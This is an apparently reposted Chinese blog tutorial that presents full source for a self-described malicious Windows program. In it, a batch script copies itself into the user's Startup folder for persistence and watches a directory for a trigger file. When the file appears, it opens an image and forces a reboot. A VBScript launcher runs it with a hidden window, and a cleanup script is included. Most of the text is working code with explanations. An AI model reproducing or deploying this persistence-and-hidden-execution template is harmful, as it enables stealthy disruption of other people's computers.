[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

文章目录

  • 🍬 博主介绍
  • 1 需求
  • 2 windows 实现需求
    • 2.1 恶意程序 windows-2.bat 源码
      • 2.1.1 恶意程序 windows-2.bat 源码
      • 2.1.2 恶意程序 windows-2.bat 源码讲解
    • 2.2 清除程序 windows-kill.bat 源码
      • 2.2.1 清除程序 windows-kill.bat 源码
      • 2.2.2 清除程序 windows-kill.sh 源码讲解
    • 2.3 后台运行vbs文件
      • 2.3.1 windows-background.vbs 源码
      • 2.3.2 windows-background.vbs 源码讲解
    • 2.4 演示
      • 2.3.1 恶意程序 windows-2.bat
      • 2.3.2 清除程序 windows-kil.bat
      • 2.3.3 后台运行:windows-background.vbs文件
      • 2.3.4 恶意文件a.txt
      • 2.3.5 1.jpg
      • 2.3.6 操作步骤
        • 2.3.6.1 执行 windows-background.vbs
        • 2.3.6.2 特定文件移动到特定目录
        • 2.3.6.3 恶意程序监测到特定文件并执行恶意操作
        • 2.3.6.4 执行 windows-kill.bat 清除恶意程序
  • 相关资源

1 需求

需求:做一个恶意程序A
恶意程序A会监测某一个特定的目录B
当目录B下出现某个特定文件C的时候
恶意程序A就会执行某一个固定的恶意操作D

2 windows 实现需求

恶意程序 windows-2.bat 监测特定目录 C:aaa 出现特定文件 a.txt 执行恶意操作 start C:\1.jpg

2.1 恶意程序 windows-2.bat 源码

2.1.1 恶意程序 windows-2.bat 源码

@echo off
chcp 65001setlocalset "source_folder=C:\aaa"
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "file_name=windows-2.bat"
set "destination_file_name=plan.bat"REM 检查启动项是否存在
if not exist "%destination_folder%\%file_name%" (REM 如果不存在,则复制文件,创建启动项copy "%source_folder%\%file_name%" "%destination_folder%\%destination_file_name%"echo 启动项创建成功。
) else (echo 目标目录中已存在该文件。
)setlocal
set "targetDir=C:\aaa"
set "targetFile=a.txt":Start
if exist "%targetDir%\%targetFile%" (echo %targetFile% 文件已经存在于 %targetDir% start C:\aaa\1.jpgecho 系统将在1分钟后重新启动...timeout /t 0 /nobreak > nulecho 正在执行重启操作...shutdown /r /f /t 60
) else (timeout /t 1 >nulgoto Start
)pause

2.1.2 恶意程序 windows-2.bat 源码讲解

这段脚本的主要功能是:检查并创建启动项文件。监控特定文件的存在,如果存在则打开图片并计划在1分钟后重启系统;如果不存在则每隔1秒重新检查一次。两个主要部分:一个用于创建启动项,另一个用于监控特定文件的存在并执行重启操作。以下是对每一部分的详细解释:

第一部分:创建启动项

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
setlocal: 开始本地环境更改,使变量的作用范围仅限于当前脚本或子脚本。
set "source_folder=C:\aaa": 设置变量source_folder,其值为源文件夹路径C:\aaa。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "file_name=windows-2.bat": 设置变量file_name,其值为要复制的文件名windows-2.bat。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为目标文件名plan.bat。
REM 检查启动项是否存在: 注释,说明接下来的代码块是用于检查启动项文件的。 if not exist “%destination_folder%%file_name%” (: 检查指定路径下是否存在名为windows-2.bat的文件。 copy “%source_folder%%file_name%” “%destination_folder%%destination_file_name%”: 如果不存在,则复制文件,创建启动项。 echo 启动项创建成功。: 输出一条消息,表示启动项文件已成功创建。
) else (: 如果文件存在,则执行以下代码块。
echo 目标目录中已存在该文件。: 输出一条消息,表示目标目录中已经存在该文件。

第二部分:监控文件并执行重启操作

setlocal: 再次开始本地环境更改。
set "targetDir=C:\aaa": 设置变量targetDir,其值为目标文件夹路径C:\aaa。
set "targetFile=a.txt": 设置变量targetFile,其值为要监控的文件名a.txt。
:Start: 定义一个标签,用于循环监控文件的存在。
if exist "%targetDir%\%targetFile%" (: 检查指定路径下是否存在名为a.txt的文件。
echo %targetFile% 文件已经存在于 %targetDir%: 输出一条消息,表示文件已经存在。
start C:\aaa\1.jpg: 打开图片文件1.jpg。
echo 系统将在1分钟后重新启动...: 输出一条消息,提示系统将在1分钟后重新启动。
timeout /t 0 /nobreak > nul: 等待0秒,不中断用户输入。
echo 正在执行重启操作...: 输出一条消息,表示即将执行重启操作。
shutdown /r /f /t 60: 强制重启计算机,并在60秒后执行重启。
) else (: 如果文件不存在,则执行以下代码块。
timeout /t 1 >nul: 等待1秒,不中断用户输入。 goto Start: 跳转到标签Start,继续监控文件的存在。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.2 清除程序 windows-kill.bat 源码

2.2.1 清除程序 windows-kill.bat 源码

@echo off
chcp 65001del "C:\aaa\windows-2.bat"
echo 恶意程序已删除。
del "C:\aaa\1.jpg"
echo 恶意图片已删除。set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup"
set "destination_file_name=plan.bat"REM 检查启动项文件
if exist "%destination_folder%\%destination_file_name%" (REM 如果存在,则删除文件del "%destination_folder%\%destination_file_name%"	echo 启动项文件已经成功删除。
) else (echo 目标目录没有该文件。
)pause

2.2.2 清除程序 windows-kill.sh 源码讲解

@echo off: 关闭命令回显,这样在执行脚本时不会显示每条命令本身,只显示命令的输出结果。
chcp 65001: 设置代码页为UTF-8,确保脚本可以正确处理和显示Unicode字符。
del "C:\aaa\windows-2.bat": 删除位于C:\aaa目录下名为windows-2.bat的文件。
echo 恶意程序已删除。: 输出一条消息,表示指定的恶意程序已被删除。
del "C:\aaa\1.jpg": 删除位于C:\aaa目录下名为1.jpg的图片文件。
echo 恶意图片已删除。: 输出一条消息,表示指定的恶意图片已被删除。
set "destination_folder=%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup": 设置变量destination_folder,其值为当前用户的启动文件夹路径。
set "destination_file_name=plan.bat": 设置变量destination_file_name,其值为要检查和删除的启动项文件名plan.bat。
REM 检查启动项文件: 注释,说明接下来的代码块是用于检查启动项文件的。
if exist "%destination_folder%\%destination_file_name%" (: 检查指定路径下是否存在名为plan.bat的文件。
del "%destination_folder%\%destination_file_name%": 如果存在,则删除该文件。
echo 启动项文件已经成功删除。: 输出一条消息,表示启动项文件已被删除。
) else (: 如果文件不存在,则执行以下代码块。
echo 目标目录没有该文件。: 输出一条消息,表示目标目录中没有找到该文件。
pause: 暂停脚本执行,等待用户按任意键继续。这通常用于在脚本执行完毕后保持命令提示符窗口打开,以便查看输出信息。

2.3 后台运行vbs文件

2.3.1 windows-background.vbs 源码

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run "C:\aaa\windows-2.bat", 0, False

2.3.2 windows-background.vbs 源码讲解

这段代码是用VBScript编写的,它的作用是创建一个WScript.Shell对象,并使用该对象来运行一个批处理文件。
Set WshShell = CreateObject("WScript.Shell"): 这行代码创建了一个WScript.Shell对象,并将其赋值给变量WshShell。WScript.Shell是一个Windows脚本宿主(WSH)对象,提供了对Windows操作系统的一些功能和操作的访问。
WshShell.Run "C:\aaa\windows-2.bat", 0, False: 这行代码使用WScript.Shell对象的Run方法来运行指定的批处理文件。
"C:\aaa\windows-2.bat": 这是要运行的批处理文件的路径。
0: 这是窗口样式参数。值为0表示隐藏窗口,即不显示命令提示符窗口。
False: 这是等待完成参数。值为False表示脚本会等待批处理文件执行完毕再继续执行后续代码。如果设置为True,则脚本不会等待批处理文件执行完毕,而是立即继续执行后续代码。

2.4 演示

2.3.1 恶意程序 windows-2.bat

在这里插入图片描述

2.3.2 清除程序 windows-kil.bat

在这里插入图片描述

2.3.3 后台运行:windows-background.vbs文件

用来隐藏CMD窗口的
在这里插入图片描述

2.3.4 恶意文件a.txt

在这里插入图片描述

2.3.5 1.jpg

在这里插入图片描述

2.3.6 操作步骤

2.3.6.1 执行 windows-background.vbs

直接双击这个VBS文件就ok了,双击没有任何的一个弹窗或者什么的任何的反应,但是他其实是已经在后台跑起来了,然后他一直在监控这个C:\aaa目录。
如果说C:\aaa这个特定的目录下出现了a.txt这个特定的文件的时候,这个恶意操作就会执行,因为它的程序已经在运转了。

在这里插入图片描述

2.3.6.2 特定文件移动到特定目录

我是直接拖过去的

在这里插入图片描述

2.3.6.3 恶意程序监测到特定文件并执行恶意操作

打开1.jpg图片
写入启动项:注意:这里启动项里面的文件plan.batwindows-2.bat是一模一样的,只不过改了一个名字
一分钟后关机操作

在这里插入图片描述

等待一分钟之后,重启

在这里插入图片描述

2.3.6.4 执行 windows-kill.bat 清除恶意程序

回显内容:
恶意程序已删除。
恶意图片己删除。
启动项文件已经成功删除。

在这里插入图片描述
在这里插入图片描述

恶意启动项已删除。

在这里插入图片描述

恶意程序已删除。
恶意图片己删除。

在这里插入图片描述

相关资源

shell脚本入门到精通
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-linux)
[ shell 脚本实战篇 ] 编写恶意程序实现需求(恶意程序A监测特定目录B出现特定文件C执行恶意操作D-windows)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/463678.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

攻克数字工具(GKData)在推动 AI 发展中的关键作用

摘要:本文深入探讨了攻克数字工具(GKData)对人工智能(AI)发展的重要推动作用,同时阐述了人工智能技术的发展历程、现状、应用领域和前景。分析了 GKData 在数据处理、模型训练与优化、算法创新等方面为 AI …

Golang文件操作

1.文件介绍:文件是数据源,主要作用是保存数据 2.文件在程序中是以流的形式来操作的 对文件的操作主要用File(os包)结构体来实现 文件的基本操作 1)打开一个文件进行读操作: os.Open(name string)(*File,error) 2)关…

WebSocket的理解与应用

WebSocket的理解与应用 一、是什么二、特点1、全双工2、二进制帧3、协议名4、握手5、优点 三、应用场景 一、是什么 WebSocket,是一种网络传输协议,位于OSI模型的应用层。可在单个TCP连接上进行全双工通信,能更好的节省服务器资源和带宽并达…

【补题/atccoder】Toyota Programming Contest 2024#7(AtCoder Beginner Contest 362)

A、买笔 思路&#xff1a; 输入红绿蓝三只笔价格&#xff0c;再输入不喜欢颜色&#xff0c; 输出除不喜欢颜色笔以外最低价格 代码如下&#xff1a; #include <iostream> #include <algorithm> using namespace std;int main() {int r, g, b;cin >> r >&…

【含开题报告+文档+源码】基于Web的房地产销售网站的设计与实现

开题报告 随着经济的发展和城市化进程的加速&#xff0c;房地产市场逐渐成为人们关注的焦点。然而&#xff0c;传统的房地产销售模式存在很多问题&#xff0c;如信息不透明、交易过程繁琐、无法满足个性化需求等。这些问题不仅影响了消费者的购房体验&#xff0c;也制约了房地…

网络层3——IP数据报转发的过程

目录 一、基于终点的转发 1、理解 2、IP数据报转发过程 二、最长前缀匹配 1、理解 2、主机路由 3、默认路由 三、二叉线索查找 一、基于终点的转发 1、理解 理解什么叫终点转发 IP数据报的传递&#xff0c;交给路由器后 可不可以做到直接发送给目的主机呢&#xff1f;…

【LwIP源码学习4】主线程tcpip_thread

前言 本文对lwip的主要线程tcpip_thread进行分析。 正文 tcpip_thread是lwip最主要的线程&#xff0c;其创建在tcpip_init函数中 sys_thread_new(TCPIP_THREAD_NAME, tcpip_thread, NULL, TCPIP_THREAD_STACKSIZE, TCPIP_THREAD_PRIO);tcpip_init函数被TCPIP_Init函数调用。…

前端的导入导出「CommonJS」「ES Module」模块化规范

模块化开发有助于我们将代码进行拆分&#xff0c;便于开发和维护&#xff0c;但如果不清楚模块化规范&#xff0c;就会在开发时不知道该用 require 还是 import&#xff0c;导出时该用 export 还是 module.exports 参考博主文章

CoEdge: 面向自动驾驶的协作式边缘计算系统,实现分布式实时深度学习任务的高效调度与资源优化

文章导读 CoEdge系统的构思基于边缘计算的发展&#xff0c;这一分布式计算范式将服务从云端推向网络边缘&#xff0c;以支持各种物联网应用&#xff0c;如智能交通和自动驾驶。随着通信技术的进步&#xff0c;出现了新的协作边缘系统&#xff0c;多个边缘节点可以通过本地点对…

操作系统进程的描述与控制知识点

前趋图和程序执行 前趋图 定义&#xff1a; 前趋图是指一个有向无循环图&#xff0c;可记为 DAG&#xff0c;它用于描述进程之间执行的先后顺序图形表示&#xff1a; 程序的执行 程序顺序执行时&#xff0c;系统资源的利用率很低 程序顺序执行时的特征 顺序性封闭性可再现性 …

移远通信推出八款天线新品,覆盖5G、4G、Wi-Fi和LoRa领域

近日&#xff0c;全球领先的物联网整体解决方案供应商移远通信宣布&#xff0c;再次推出八款高性能天线新品&#xff0c;进一步丰富其天线产品阵容&#xff0c;更好地满足全球客户对高品质天线的更多需求。具体包括5G超宽带天线YECT005W1A和YECT004W1A、5G天线YECT028W1A、4G天…

k8s简单的指令以及图解

k8s简单的操作指令 1.kubectl get pods 查看全部的pods 也就是k8s中的最小颗粒度 2.kubectl describe podsname 查看pod的详情 3.kubectl get pods -n podsname 查看pod服务是否正常 4.kubectl logs -f 容器name --tail1000 -n podname 查看pod 的日志 5.kubectl get service …

Python复习1:

一、数据类型 1.数字&#xff1a;int、float、bool 2.字符串&#xff1a;string 3.列表&#xff1a;list 4.集合&#xff1a;set 5.字典&#xff1a;dictionary 二、Test 1.print输出固定格式 num110 str1"hello world" #输出的固定格式 print("num1%d&…

UVM验证该去大公司还是中型公司呢?

无论是UVM验证还是系统C验证亦或是其它&#xff0c;大公司的普遍特点是做过多层封装、已经准备好轮子、各式各样的工具库。如果一毕业就进大公司&#xff0c;那你会在UVM等基础之上再学习公司封装的那部分工具、脚本或者是库&#xff0c;一旦掌握以后你接下来将会脱离一些初级的…

法律文件智能识别:免费OCR平台优化数字化管理

一、系统概述 在法律行业&#xff0c;纸质文件的数字化需求日益迫切&#xff0c;合同、判决书、协议等文件的管理成为法律部门的一大难题。传统手动输入不仅耗时&#xff0c;且易出错。思通数科的OCR识别平台应运而生&#xff0c;以其开源、免费的特性为法律文档管理提供了智能…

koa + sequelize做距离计算(MySql篇)

1.核心思路 1.利用sequelize的fn方法调用MySql原生函数&#xff08;st_distance_sphere、point&#xff09; 2.这里利用到了MySql的原生函数&#xff0c;不懂可以去看看mysql的函数知识 2.核心代码 //st_distance_sphere、point函数用来计算当前经纬度和目的地经纬度 //col…

小程序分包看完这一篇秒懂

前言 在小程序开发中&#xff0c;分包是一种优化加载时间和用户体验的方法。通过将小程序拆分成多个包&#xff0c;可以按需加载&#xff0c;从而减少首次加载时间。很多刚涉及小程序开发的小伙伴对小程序分包都相对茫然或者头疼。也不知道该合适进行分包&#xff0c;怎么进行…

第02章 MySQL环境搭建

一、MySQL的卸载 如果安装mysql时出现问题&#xff0c;则需要将mysql卸载干净再重新安装。如果卸载不干净&#xff0c;仍然会报错安装不成功。 步骤1&#xff1a;停止MySQL服务 在卸载之前&#xff0c;先停止MySQL8.0的服务。按键盘上的“Ctrl Alt Delete”组合键&#xff0…

1.探索WebSocket:实时网络的心跳!

序言 你可能听说过"WebSokcet"这个词&#xff0c;感觉它好像很高深&#xff0c;但其实它是一个超级酷的小工具&#xff0c;让我们在Web应用里实现实时通信。想象一下&#xff0c;你可以像聊天一样&#xff0c;在浏览器和服务器之间来回“畅聊“&#xff0c;没有延迟…

Qt6 CMake 中引入 Qt Linguist 翻译功能

qt cmake 使用自带翻译工具配置步骤 创建Qt CMake 程序大体流程配置项目 CMake 及 代码使用流程最终CMake 如下最终工程链接为&#xff1a;参考 创建Qt CMake 程序 大体流程 配置项目 CMake 及 代码 在CMake 中添加如下代码, 导入相关的翻译库 find_package(QT NAMES Qt6 Qt…